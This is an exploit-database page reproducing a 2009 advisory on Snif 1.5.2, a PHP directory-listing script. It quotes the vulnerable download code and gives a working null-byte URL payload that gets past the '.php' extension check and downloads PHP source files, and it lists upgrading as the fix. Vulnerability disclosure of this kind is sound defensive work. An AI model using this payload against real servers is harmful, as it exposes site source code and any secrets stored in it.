header-logo
Suggest Exploit
vendor:
Snif
by:
Aodrulez
8,8
CVSS
HIGH
Code Injection
N/A
CWE
Product Name: Snif
Affected Version From: 1.5.2
Affected Version To: 1.5.2
Patch Exists: YES
Related CWE: N/A
CPE: a:snif:snif
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

Snif – “Any Filetype” Download Exploit

The last line in the code checks the file's extension to make sure its not a php file. This line of code is vulnerable though. The exploit is to use the URL http://www.a.com/snif.php?download=snif.php%00 to bypass all restrictions and let you download a php file.

Mitigation:

Upgrade to the latest version of Snif
Source

Exploit-DB raw data:

--------------------------------------------
-: Snif - "Any Filetype" Download Exploit :-
--------------------------------------------

Script   : Snif - (Simple And Nice Index File) 
Version  : 1.5.2 (possibly lower versions too)
Found By : Aodrulez.
Email    : f3arm3d3ar[at]gmail.com

Vulnerability:
--------------

Some Default Settings are:

$hiddenFilesWildcards = Array("*.php", "*~");
$allowPHPDownloads = false;

The first option will prevent any php file 
from being listed in the directory listing.
Second one will prevent download of files 
with ".php" extension.

Even with these options set,we can still
download php files....due to the following
vulnerable code:-

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if ($_GET["download"]!="") {
	
 $download = stripslashes($_GET["download"]);
 $filename = safeDirectory($path.rawurldecode($download));
 if (
	!file_exists($filename)
	OR fileIsHidden($filename)
	OR (substr(strtolower($filename), -4)==".php" AND !$allowPHPDownloads)) {
		
		
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The last line in the above code checks the
file's extension to make sure its not a php
file.This line of code is Vulnerable though

Exploit:
--------

Lets say the script is located here:
http://www.a.com/snif.php

The following url will bypass all restrictions
and let you download a php file :-

http://www.a.com/snif.php?download=snif.php%00


Greetz Fly Out To
-----------------

Amforked() 	         : My Mentor.
The Blue Genius      : My Boss.
www.orchidseven.com
www.isac.org.in